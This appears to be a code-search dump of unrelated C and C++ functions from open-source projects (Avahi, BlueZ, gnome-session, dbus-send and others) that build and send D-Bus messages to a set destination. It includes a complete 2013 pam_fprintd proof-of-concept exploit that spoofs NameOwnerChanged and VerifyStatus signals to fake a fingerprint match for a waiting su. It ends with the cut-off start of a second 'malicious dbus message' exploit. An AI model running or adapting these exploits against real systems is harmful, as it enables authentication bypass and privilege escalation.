static gboolean
dbus_client_stop (GsmClient *client,
GError **error)
{
GsmDBusClient *dbus_client = (GsmDBusClient *) client;
DBusMessage *message;
gboolean ret;
ret = FALSE;
/* unicast the signal to only the registered bus name */
message = dbus_message_new_signal (gsm_client_peek_id (client),
SM_DBUS_CLIENT_PRIVATE_INTERFACE,
"Stop");
if (message == NULL) {
goto out;
}
if (!dbus_message_set_destination (message, dbus_client->priv->bus_name)) {
goto out;
}
if (!dbus_connection_send (dbus_client->priv->connection, message, NULL)) {
goto out;
}
ret = TRUE;
out:
if (message != NULL) {
dbus_message_unref (message);
}
return ret;
}
void avahi_dbus_domain_browser_callback(AvahiSDomainBrowser *b, AvahiIfIndex interface, AvahiProtocol protocol, AvahiBrowserEvent event, const char *domain, AvahiLookupResultFlags flags, void* userdata) {
DomainBrowserInfo *i = userdata;
DBusMessage *m;
int32_t i_interface, i_protocol;
uint32_t u_flags;
assert(b);
assert(i);
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
u_flags = (uint32_t) flags;
m = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_DOMAIN_BROWSER, avahi_dbus_map_browse_signal_name(event));
if (event == AVAHI_BROWSER_NEW || event == AVAHI_BROWSER_REMOVE) {
assert(domain);
dbus_message_append_args(
m,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &domain,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else if (event == AVAHI_BROWSER_FAILURE)
avahi_dbus_append_server_error(m);
dbus_message_set_destination(m, i->client->name);
dbus_connection_send(server->bus, m, NULL);
dbus_message_unref(m);
}
void notificationClosed(notification * n, int reason)
{
DBusMessage *dmsg;
DBusMessageIter args;
int id;
if (n == NULL || n->dbus_client == NULL) {
return;
}
id = n->id;
dmsg =
dbus_message_new_signal("/org/freedesktop/Notifications",
"org.freedesktop.Notifications",
"NotificationClosed");
dbus_message_iter_init_append(dmsg, &args);
dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT32, &id);
dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT32, &reason);
dbus_message_set_destination(dmsg, n->dbus_client);
dbus_connection_send(dbus_conn, dmsg, &dbus_serial);
dbus_message_unref(dmsg);
dbus_connection_flush(dbus_conn);
}
static int request_fallback(struct agent_request *req,
DBusPendingCallNotifyFunction function)
{
struct btd_adapter *adapter = req->agent->adapter;
struct agent *adapter_agent = adapter_get_agent(adapter);
DBusMessage *msg;
if (req->agent == adapter_agent || adapter_agent == NULL)
return -EINVAL;
dbus_pending_call_cancel(req->call);
msg = dbus_message_copy(req->msg);
dbus_message_set_destination(msg, adapter_agent->name);
dbus_message_set_path(msg, adapter_agent->path);
if (dbus_connection_send_with_reply(connection, msg,
&req->call, REQUEST_TIMEOUT) == FALSE) {
error("D-Bus send failed");
dbus_message_unref(msg);
return -EIO;
}
req->agent->request = NULL;
req->agent = adapter_agent;
req->agent->request = req;
dbus_message_unref(req->msg);
req->msg = msg;
dbus_pending_call_set_notify(req->call, function, req, NULL);
return 0;
}
void avahi_dbus_entry_group_callback(AvahiServer *s, AvahiSEntryGroup *g, AvahiEntryGroupState state, void* userdata) {
EntryGroupInfo *i = userdata;
DBusMessage *m;
int32_t t;
const char *e;
assert(s);
assert(g);
assert(i);
m = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_ENTRY_GROUP, "StateChanged");
if (!m) {
avahi_log_error("Failed allocate message");
return;
}
t = (int32_t) state;
if (state == AVAHI_ENTRY_GROUP_FAILURE)
e = avahi_error_number_to_dbus(avahi_server_errno(s));
else if (state == AVAHI_ENTRY_GROUP_COLLISION)
e = AVAHI_DBUS_ERR_COLLISION;
else
e = AVAHI_DBUS_ERR_OK;
dbus_message_append_args(
m,
DBUS_TYPE_INT32, &t,
DBUS_TYPE_STRING, &e,
DBUS_TYPE_INVALID);
dbus_message_set_destination(m, i->client->name);
dbus_connection_send(server->bus, m, NULL);
dbus_message_unref(m);
}
int elektraDbusSendMessage (DBusBusType type, const char * keyName, const char * signalName)
{
DBusConnection * connection;
DBusError error;
DBusMessage * message;
const char * dest = NULL; // to all receivers
const char * interface = "org.libelektra";
const char * path = "/org/libelektra/configuration";
dbus_error_init (&error);
connection = dbus_bus_get (type, &error);
if (connection == NULL)
{
ELEKTRA_LOG_WARNING ("Failed to open connection to %s message bus: %s", (type == DBUS_BUS_SYSTEM) ? "system" : "session",
error.message);
dbus_connection_unref (connection);
dbus_error_free (&error);
return -1;
}
dbus_connection_set_exit_on_disconnect (connection, FALSE);
message = dbus_message_new_signal (path, interface, signalName);
if (message == NULL)
{
ELEKTRA_LOG_WARNING ("Couldn't allocate D-Bus message");
dbus_connection_unref (connection);
dbus_error_free (&error);
return -1;
}
if (dest && !dbus_message_set_destination (message, dest))
{
ELEKTRA_LOG_WARNING ("Not enough memory");
dbus_message_unref (message);
dbus_connection_unref (connection);
dbus_error_free (&error);
return -1;
}
if (!dbus_message_append_args (message, DBUS_TYPE_STRING, &keyName, DBUS_TYPE_INVALID))
{
ELEKTRA_LOG_WARNING ("Couldn't add message argument");
dbus_message_unref (message);
dbus_connection_unref (connection);
dbus_error_free (&error);
return -1;
}
dbus_connection_send (connection, message, NULL);
dbus_connection_flush (connection);
dbus_message_unref (message);
dbus_connection_unref (connection);
dbus_error_free (&error);
return 1;
}
static int ldbus_message_set_destination(lua_State *L) {
DBusMessage *message = check_DBusMessage(L, 1);
const char * destination = luaL_optstring(L, 2, NULL);
lua_pushboolean(L, dbus_message_set_destination(message, destination));
return 1;
}
/* helpers */
static DBusMessage* new_signal_msg(const char* member, const char* peer)
{
/* path, interface, member name */
DBusMessage* msg = dbus_message_new_signal(ABRTD_DBUS_PATH, ABRTD_DBUS_IFACE, member);
if (!msg)
die_out_of_memory();
/* Send unicast dbus signal if peer is known */
if (peer && !dbus_message_set_destination(msg, peer))
die_out_of_memory();
return msg;
}
static DBusMessage *
build_reply_from_jsval(SeedContext ctx,
const char *signature,
const char *sender,
dbus_uint32_t serial,
SeedValue rval,
SeedException *exception)
{
DBusMessage *reply;
DBusMessageIter arg_iter;
DBusSignatureIter sig_iter;
gboolean marshalled = FALSE;
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
dbus_message_set_destination(reply, sender);
dbus_message_set_reply_serial(reply, serial);
dbus_message_set_no_reply(reply, TRUE);
dbus_message_iter_init_append(reply, &arg_iter);
if (seed_value_is_undefined (ctx, rval) || g_str_equal(signature, ""))
{
/* We don't want to send anything in these cases so skip the
* marshalling altogether.
*/
return reply;
}
dbus_signature_iter_init(&sig_iter, signature);
if (signature_has_one_element(signature))
{
marshalled = seed_js_one_value_to_dbus(ctx, rval, &arg_iter, &sig_iter, exception);
}
else
{
if (!seed_value_is_object (ctx, rval))
{
g_warning("Signature has multiple items but return value is not an array");
return reply;
}
marshalled = seed_js_values_to_dbus(ctx, 0, rval, &arg_iter, &sig_iter, exception);
}
if (!marshalled) {
/* replace our planned reply with an error */
dbus_message_unref(reply);
if (!dbus_reply_from_exception_and_sender(ctx, sender, serial, &reply, exception))
g_warning ("conversion of dbus return value failed but no exception was set?");
}
return reply;
}
static gboolean
dbus_client_end_session (GsmClient *client,
GsmClientEndSessionFlag flags,
GError **error)
{
GsmDBusClient *dbus_client = (GsmDBusClient *) client;
DBusMessage *message;
DBusMessageIter iter;
gboolean ret;
ret = FALSE;
/* unicast the signal to only the registered bus name */
message = dbus_message_new_signal (gsm_client_peek_id (client),
SM_DBUS_CLIENT_PRIVATE_INTERFACE,
"EndSession");
if (message == NULL) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send EndSession message");
goto out;
}
if (!dbus_message_set_destination (message, dbus_client->priv->bus_name)) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send EndSession message");
goto out;
}
dbus_message_iter_init_append (message, &iter);
dbus_message_iter_append_basic (&iter, DBUS_TYPE_UINT32, &flags);
if (!dbus_connection_send (dbus_client->priv->connection, message, NULL)) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send EndSession message");
goto out;
}
ret = TRUE;
out:
if (message != NULL) {
dbus_message_unref (message);
}
return ret;
}
static gboolean
dbus_reply_from_exception_and_sender(SeedContext ctx,
const gchar *sender,
dbus_uint32_t serial,
DBusMessage **reply_p,
SeedException *exception)
{
SeedValue name_val;
gchar *s;
const gchar *name = NULL;
*reply_p = NULL;
if (seed_value_is_undefined (ctx, *exception) ||
seed_value_is_null (ctx, *exception) ||
!seed_value_is_object (ctx, *exception))
return FALSE;
name_val = seed_object_get_property(ctx, *exception, "dbusErrorName");
name = seed_value_to_string (ctx, name_val, NULL);
s = seed_exception_to_string (ctx, *exception);
g_warning("JS exception we will send as dbus reply to %s: %s",
sender,
s);
*reply_p = dbus_message_new(DBUS_MESSAGE_TYPE_ERROR);
dbus_message_set_destination(*reply_p, sender);
dbus_message_set_reply_serial(*reply_p, serial);
dbus_message_set_no_reply(*reply_p, TRUE);
dbus_message_set_error_name(*reply_p, name ? name : DBUS_ERROR_FAILED);
if (s != NULL) {
DBusMessageIter iter;
dbus_message_iter_init_append(*reply_p, &iter);
if (!dbus_message_iter_append_basic(&iter,
DBUS_TYPE_STRING,
&s)) {
dbus_message_unref(*reply_p);
g_free(s);
return FALSE;
}
g_free(s);
}
return TRUE;
}
int elektraDbusSendMessage (DBusBusType type)
{
DBusConnection *connection;
DBusError error;
DBusMessage *message;
const char *dest = 0;
const char *name = "org.libelektra";
const char *path = "/org/libelektra/configuration";
dbus_error_init (&error);
connection = dbus_bus_get (type, &error);
if (connection == NULL)
{
fprintf (stderr, "Failed to open connection to %s message bus: %s\n",
(type == DBUS_BUS_SYSTEM) ? "system" : "session",
error.message);
dbus_error_free (&error);
return -1;
}
dbus_connection_set_exit_on_disconnect (connection, FALSE);
message = dbus_message_new_signal (path, name, "changed");
if (message == NULL)
{
fprintf (stderr, "Couldn't allocate D-Bus message\n");
dbus_error_free (&error);
return -1;
}
if (dest && !dbus_message_set_destination (message, dest))
{
fprintf (stderr, "Not enough memory\n");
dbus_error_free (&error);
return -1;
}
dbus_connection_send (connection, message, NULL);
dbus_connection_flush (connection);
dbus_message_unref (message);
dbus_connection_unref (connection);
dbus_error_free (&error);
return 1;
}
static gboolean
dbus_client_cancel_end_session (GsmClient *client,
GError **error)
{
GsmDBusClient *dbus_client = (GsmDBusClient *) client;
DBusMessage *message;
gboolean ret = FALSE;
/* unicast the signal to only the registered bus name */
message = dbus_message_new_signal (gsm_client_peek_id (client),
SM_DBUS_CLIENT_PRIVATE_INTERFACE,
"CancelEndSession");
if (message == NULL) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send CancelEndSession message");
goto out;
}
if (!dbus_message_set_destination (message, dbus_client->priv->bus_name)) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send CancelEndSession message");
goto out;
}
if (!dbus_connection_send (dbus_client->priv->connection, message, NULL)) {
g_set_error (error,
GSM_CLIENT_ERROR,
GSM_CLIENT_ERROR_NOT_REGISTERED,
"Unable to send CancelEndSession message");
goto out;
}
ret = TRUE;
out:
if (message != NULL) {
dbus_message_unref (message);
}
return ret;
}
void avahi_dbus_service_browser_callback(AvahiSServiceBrowser *b, AvahiIfIndex interface, AvahiProtocol protocol, AvahiBrowserEvent event, const char *name, const char *type, const char *domain, AvahiLookupResultFlags flags, void* userdata) {
ServiceBrowserInfo *i = userdata;
DBusMessage *m;
int32_t i_interface, i_protocol;
uint32_t u_flags;
assert(b);
assert(i);
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
u_flags = (uint32_t) flags;
m = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_SERVICE_BROWSER, avahi_dbus_map_browse_signal_name(event));
if (event == AVAHI_BROWSER_NEW) {
/* Patch in AVAHI_LOOKUP_RESULT_OUR_OWN */
if (avahi_dbus_is_our_own_service(i->client, interface, protocol, name, type, domain) > 0)
flags |= AVAHI_LOOKUP_RESULT_OUR_OWN;
}
if (event == AVAHI_BROWSER_NEW || event == AVAHI_BROWSER_REMOVE) {
assert(name);
assert(type);
assert(domain);
dbus_message_append_args(
m,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &name,
DBUS_TYPE_STRING, &type,
DBUS_TYPE_STRING, &domain,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else if (event == AVAHI_BROWSER_FAILURE)
avahi_dbus_append_server_error(m);
dbus_message_set_destination(m, i->client->name);
dbus_connection_send(server->bus, m, NULL);
dbus_message_unref(m);
}
dbus_bool_t
bus_driver_send_service_lost (DBusConnection *connection,
const char *service_name,
BusTransaction *transaction,
DBusError *error)
{
DBusMessage *message;
_DBUS_ASSERT_ERROR_IS_CLEAR (error);
message = dbus_message_new_signal (DBUS_PATH_DBUS,
DBUS_INTERFACE_DBUS,
"NameLost");
if (message == NULL)
{
BUS_SET_OOM (error);
return FALSE;
}
if (!dbus_message_set_destination (message, bus_connection_get_name (connection)) ||
!dbus_message_append_args (message,
DBUS_TYPE_STRING, &service_name,
DBUS_TYPE_INVALID))
{
dbus_message_unref (message);
BUS_SET_OOM (error);
return FALSE;
}
if (!bus_transaction_send_from_driver (transaction, connection, message))
{
dbus_message_unref (message);
BUS_SET_OOM (error);
return FALSE;
}
else
{
dbus_message_unref (message);
return TRUE;
}
}
void __connman_counter_send_usage(const char *path,
DBusMessage *message)
{
struct connman_counter *counter;
counter = g_hash_table_lookup(counter_table, path);
if (!counter) {
if (message)
dbus_message_unref(message);
return;
}
dbus_message_set_destination(message, counter->owner);
dbus_message_set_path(message, counter->path);
dbus_message_set_interface(message, CONNMAN_COUNTER_INTERFACE);
dbus_message_set_member(message, "Usage");
dbus_message_set_no_reply(message, TRUE);
g_dbus_send_message(connection, message);
}
void avahi_dbus_async_host_name_resolver_callback(AvahiSHostNameResolver *r, AvahiIfIndex interface, AvahiProtocol protocol, AvahiResolverEvent event, const char *host_name, const AvahiAddress *a, AvahiLookupResultFlags flags, void* userdata) {
AsyncHostNameResolverInfo *i = userdata;
DBusMessage *reply;
assert(r);
assert(i);
reply = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_HOST_NAME_RESOLVER, avahi_dbus_map_resolve_signal_name(event));
if (event == AVAHI_RESOLVER_FOUND) {
char t[AVAHI_ADDRESS_STR_MAX], *pt = t;
int32_t i_interface, i_protocol, i_aprotocol;
uint32_t u_flags;
assert(a);
assert(host_name);
avahi_address_snprint(t, sizeof(t), a);
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
i_aprotocol = (int32_t) a->proto;
u_flags = (uint32_t) flags;
dbus_message_append_args(
reply,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &host_name,
DBUS_TYPE_INT32, &i_aprotocol,
DBUS_TYPE_STRING, &pt,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else {
assert(event == AVAHI_RESOLVER_FAILURE);
avahi_dbus_append_server_error(reply);
}
dbus_message_set_destination(reply, i->client->name);
dbus_connection_send(server->bus, reply, NULL);
dbus_message_unref(reply);
}
void
send_dbus_message(int state, int count, char *locations[])
{
DBusMessage *msg;
DBusMessageIter *iter;
int i;
msg = dbus_message_new_signal (HEMP_DBUS_PATH,
HEMP_DBUS_DESTINATION,
HEMP_DBUS_SIGNAL);
dbus_message_set_destination(msg, HEMP_DBUS_DESTINATION);
dbus_message_append_args(msg, DBUS_TYPE_INT32, &state,
DBUS_TYPE_ARRAY, DBUS_TYPE_STRING,
&locations, count,
DBUS_TYPE_INVALID);
if (!dbus_connection_send (session_bus, msg, NULL))
fprintf (stderr, "error sending message\n");
dbus_message_unref (msg);
dbus_connection_flush (session_bus);
}
bool TelepathyAccountHandler::send(const Packet* pPacket, BuddyPtr pBuddy)
{
UT_DEBUGMSG(("TelepathyAccountHandler::send(const Packet* pPacket, BuddyPtr pBuddy\n"));
UT_return_val_if_fail(pPacket, false);
UT_return_val_if_fail(pBuddy, false);
DTubeBuddyPtr pDTubeBuddy = boost::static_pointer_cast<DTubeBuddy>(pBuddy);
UT_DEBUGMSG(("Sending packet to d-tube buddy on dbus addess: %s\n", pDTubeBuddy->getDBusName().utf8_str()));
DBusMessage* pMessage = dbus_message_new_method_call (pDTubeBuddy->getDBusName().utf8_str(), "/org/laptop/DTube/Presence/Buddies", INTERFACE, SEND_ONE_METHOD);
UT_return_val_if_fail(pMessage, false);
bool dst = dbus_message_set_destination(pMessage, pDTubeBuddy->getDBusName().utf8_str());
UT_return_val_if_fail(dst, false);
UT_DEBUGMSG(("Destination (%s) set on message\n", pDTubeBuddy->getDBusName().utf8_str()));
// we don't want replies, because they easily run into dbus timeout problems
// when sending large packets; this means we should probably use signals though.
dbus_message_set_no_reply(pMessage, TRUE);
// make to-be-send-stream once
std::string data;
_createPacketStream( data, pPacket );
const char* packet_contents = &data[0];
dbus_message_append_args(pMessage,
DBUS_TYPE_ARRAY, DBUS_TYPE_BYTE, &packet_contents, data.size(),
DBUS_TYPE_INVALID);
UT_DEBUGMSG(("Appended packet contents\n"));
bool sent = dbus_connection_send(pDTubeBuddy->getChatRoom()->getTube(), pMessage, NULL);
UT_ASSERT_HARMLESS(sent);
if (sent)
dbus_connection_flush(pDTubeBuddy->getChatRoom()->getTube());
dbus_message_unref(pMessage);
return sent;
}
int main(int argc, char **argv)
{
DBusError err;
DBusConnection *conn = NULL;
DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
dbus_uint32_t serial = 0;
dbus_bool_t t = 1;
int un = 0, i = 0, reply_to = -1;
const char *vrfy_match = "verify-match", *cname = NULL,
*name = "net.reactivated.Fprint", *prev_owner = NULL;
char dest[32];
/* override unique name of net.reactivated.Fprint */
if (argc > 1)
prev_owner = strdup(argv[1]);
printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");
printf("[*] Initializing DBUS ...\n");
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Error: %s\n", err.message);
die("dbus_error_is_set");
}
if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
die("dbus_bus_get_unique_name");
un = atoi(strchr(cname, '.') + 1);
printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);
if (!prev_owner) {
printf("[*] Trying to find unique name of '%s' ...\n", name);
nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"GetNameOwner");
if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args");
reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
dbus_message_unref(nl_msg);
if (dbus_error_is_set(&err)) {
fprintf (stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_connection_send_with_reply_and_block");
}
if (!dbus_message_get_args(reply, &err,
DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
fprintf(stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_message_get_args");
}
dbus_message_unref(reply);
}
printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);
for (i = 1; i < 20; ++i) {
/* spoof a NameOwnerChanged signal */
noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
"org.freedesktop.DBus",
"NameOwnerChanged");
/* spoof a VerifyStatus */
vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
"net.reactivated.Fprint.Device",
"VerifyStatus");
if (!vrfy_msg || !noc_msg)
die("[-] dbus_message_new_signal");
if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
&prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args1");
if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args2");
/* iterate over unique names short below under our own
* to hit the previously started su
*/
snprintf(dest, sizeof(dest), ":1.%d", un - i);
printf("[*] Using new destination: %s\n", dest);
if (!dbus_message_set_destination(vrfy_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_message_set_destination(noc_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_connection_send(conn, noc_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
usleep(1000);
if (!dbus_connection_send(conn, vrfy_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
dbus_message_unref(vrfy_msg);
dbus_message_unref(noc_msg);
}
printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
return 0;
}
int
main (int argc, char *argv[])
{
DBusConnection *connection;
DBusError error;
DBusMessage *message;
dbus_bool_t print_reply;
dbus_bool_t print_reply_literal;
int reply_timeout;
DBusMessageIter iter;
int i;
DBusBusType type = DBUS_BUS_SESSION;
const char *dest = NULL;
const char *name = NULL;
const char *path = NULL;
int message_type = DBUS_MESSAGE_TYPE_SIGNAL;
const char *type_str = NULL;
const char *address = NULL;
int is_bus = FALSE;
int session_or_system = FALSE;
appname = argv[0];
if (argc < 3)
usage (1);
print_reply = FALSE;
print_reply_literal = FALSE;
reply_timeout = -1;
for (i = 1; i < argc && name == NULL; i++)
{
char *arg = argv[i];
if (strcmp (arg, "--system") == 0)
{
type = DBUS_BUS_SYSTEM;
session_or_system = TRUE;
}
else if (strcmp (arg, "--session") == 0)
{
type = DBUS_BUS_SESSION;
session_or_system = TRUE;
}
else if ((strstr (arg, "--bus=") == arg) || (strstr (arg, "--peer=") == arg) || (strstr (arg, "--address=") == arg))
{
if (arg[2] == 'b') /* bus */
{
is_bus = TRUE;
}
else if (arg[2] == 'p') /* peer */
{
is_bus = FALSE;
}
else /* address; keeping backwards compatibility */
{
is_bus = FALSE;
}
address = strchr (arg, '=') + 1;
if (address[0] == '\0')
{
fprintf (stderr, "\"--peer=\" and \"--bus=\" require an ADDRESS\n");
usage (1);
}
}
else if (strncmp (arg, "--print-reply", 13) == 0)
{
print_reply = TRUE;
message_type = DBUS_MESSAGE_TYPE_METHOD_CALL;
if (strcmp (arg + 13, "=literal") == 0)
print_reply_literal = TRUE;
else if (*(arg + 13) != '\0')
{
fprintf (stderr, "invalid value (%s) of \"--print-reply\"\n", arg + 13);
usage (1);
}
}
else if (strstr (arg, "--reply-timeout=") == arg)
{
if (*(strchr (arg, '=') + 1) == '\0')
{
fprintf (stderr, "\"--reply-timeout=\" requires an MSEC\n");
usage (1);
}
reply_timeout = strtol (strchr (arg, '=') + 1,
NULL, 10);
if (reply_timeout <= 0)
{
fprintf (stderr, "invalid value (%s) of \"--reply-timeout\"\n",
strchr (arg, '=') + 1);
usage (1);
}
}
else if (strstr (arg, "--dest=") == arg)
{
if (*(strchr (arg, '=') + 1) == '\0')
{
fprintf (stderr, "\"--dest=\" requires an NAME\n");
usage (1);
}
dest = strchr (arg, '=') + 1;
}
else if (strstr (arg, "--type=") == arg)
type_str = strchr (arg, '=') + 1;
else if (!strcmp(arg, "--help"))
usage (0);
else if (arg[0] == '-')
usage (1);
else if (path == NULL)
path = arg;
else /* name == NULL guaranteed by the 'while' loop */
name = arg;
}
if (name == NULL)
usage (1);
if (session_or_system &&
(address != NULL))
{
fprintf (stderr, "\"--peer\" and \"--bus\" may not be used with \"--system\" or \"--session\"\n");
usage (1);
}
if (type_str != NULL)
{
message_type = dbus_message_type_from_string (type_str);
if (!(message_type == DBUS_MESSAGE_TYPE_METHOD_CALL ||
message_type == DBUS_MESSAGE_TYPE_SIGNAL))
{
fprintf (stderr, "Message type \"%s\" is not supported\n",
type_str);
exit (1);
}
}
dbus_error_init (&error);
if (dest && !dbus_validate_bus_name (dest, &error))
{
fprintf (stderr, "invalid value (%s) of \"--dest\"\n", dest);
usage (1);
}
if (address != NULL)
{
connection = dbus_connection_open (address, &error);
}
else
{
connection = dbus_bus_get (type, &error);
}
if (connection == NULL)
{
fprintf (stderr, "Failed to open connection to \"%s\" message bus: %s\n",
(address != NULL) ? address :
((type == DBUS_BUS_SYSTEM) ? "system" : "session"),
error.message);
dbus_error_free (&error);
exit (1);
}
else if ((address != NULL) && is_bus)
{
if (!dbus_bus_register (connection, &error))
{
fprintf (stderr, "Failed to register on connection to \"%s\" message bus: %s\n",
address, error.message);
dbus_error_free (&error);
exit (1);
}
}
if (message_type == DBUS_MESSAGE_TYPE_METHOD_CALL)
{
char *last_dot;
last_dot = strrchr (name, '.');
if (last_dot == NULL)
{
fprintf (stderr, "Must use org.mydomain.Interface.Method notation, no dot in \"%s\"\n",
name);
exit (1);
}
*last_dot = '\0';
message = dbus_message_new_method_call (NULL,
path,
name,
last_dot + 1);
dbus_message_set_auto_start (message, TRUE);
}
else if (message_type == DBUS_MESSAGE_TYPE_SIGNAL)
{
char *last_dot;
last_dot = strrchr (name, '.');
if (last_dot == NULL)
{
fprintf (stderr, "Must use org.mydomain.Interface.Signal notation, no dot in \"%s\"\n",
name);
exit (1);
}
*last_dot = '\0';
message = dbus_message_new_signal (path, name, last_dot + 1);
}
else
{
fprintf (stderr, "Internal error, unknown message type\n");
exit (1);
}
if (message == NULL)
{
fprintf (stderr, "Couldn't allocate D-Bus message\n");
exit (1);
}
if (dest && !dbus_message_set_destination (message, dest))
{
fprintf (stderr, "Not enough memory\n");
exit (1);
}
dbus_message_iter_init_append (message, &iter);
while (i < argc)
{
char *arg;
char *c;
int type;
int secondary_type;
int container_type;
DBusMessageIter *target_iter;
DBusMessageIter container_iter;
type = DBUS_TYPE_INVALID;
arg = argv[i++];
c = strchr (arg, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
container_type = DBUS_TYPE_INVALID;
if (strcmp (arg, "variant") == 0)
container_type = DBUS_TYPE_VARIANT;
else if (strcmp (arg, "array") == 0)
container_type = DBUS_TYPE_ARRAY;
else if (strcmp (arg, "dict") == 0)
container_type = DBUS_TYPE_DICT_ENTRY;
if (container_type != DBUS_TYPE_INVALID)
{
arg = c;
c = strchr (arg, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
}
if (arg[0] == 0)
type = DBUS_TYPE_STRING;
else
type = type_from_name (arg);
if (container_type == DBUS_TYPE_DICT_ENTRY)
{
char sig[5];
arg = c;
c = strchr (c, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
secondary_type = type_from_name (arg);
sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
sig[1] = type;
sig[2] = secondary_type;
sig[3] = DBUS_DICT_ENTRY_END_CHAR;
sig[4] = '\0';
dbus_message_iter_open_container (&iter,
DBUS_TYPE_ARRAY,
sig,
&container_iter);
target_iter = &container_iter;
}
else if (container_type != DBUS_TYPE_INVALID)
{
char sig[2];
sig[0] = type;
sig[1] = '\0';
dbus_message_iter_open_container (&iter,
container_type,
sig,
&container_iter);
target_iter = &container_iter;
}
else
target_iter = &iter;
if (container_type == DBUS_TYPE_ARRAY)
{
append_array (target_iter, type, c);
}
else if (container_type == DBUS_TYPE_DICT_ENTRY)
{
append_dict (target_iter, type, secondary_type, c);
}
else
append_arg (target_iter, type, c);
if (container_type != DBUS_TYPE_INVALID)
{
dbus_message_iter_close_container (&iter,
&container_iter);
}
}
if (print_reply)
{
DBusMessage *reply;
dbus_error_init (&error);
reply = dbus_connection_send_with_reply_and_block (connection,
message, reply_timeout,
&error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "Error %s: %s\n",
error.name,
error.message);
exit (1);
}
if (reply)
{
long sec, usec;
_dbus_get_real_time (&sec, &usec);
print_message (reply, print_reply_literal, sec, usec);
dbus_message_unref (reply);
}
}
else
{
dbus_connection_send (connection, message, NULL);
dbus_connection_flush (connection);
}
dbus_message_unref (message);
dbus_connection_unref (connection);
exit (0);
}
int
main(int argc, char *argv[])
{
char sig[8];
uint32_t val = 0xdeadbeef;
DBusMessage *message;
DBusConnection *system, *session;
DBusMessageIter iter1, iter2, iter3, iter4;
printf("[+] creating malicious dbus message...\n");
message = dbus_message_new_signal(PATH, NAME, SIGNAL);
if (!message) {
printf("[-] error: could not create dbus message\n");
return 1;
}
if (!dbus_message_set_destination(message, DEST)) {
printf("[-] error: could not create set dbus destination\n");
return 1;
}
sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
sig[1] = DBUS_STRUCT_BEGIN_CHAR;
sig[2] = DBUS_TYPE_INT32;
sig[3] = DBUS_TYPE_INT32;
sig[4] = DBUS_STRUCT_END_CHAR;
sig[5] = DBUS_TYPE_INT32;
sig[6] = DBUS_DICT_ENTRY_END_CHAR;
sig[7] = '\0';
dbus_message_iter_init_append(message, &iter1);
dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2);
dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3);
dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4);
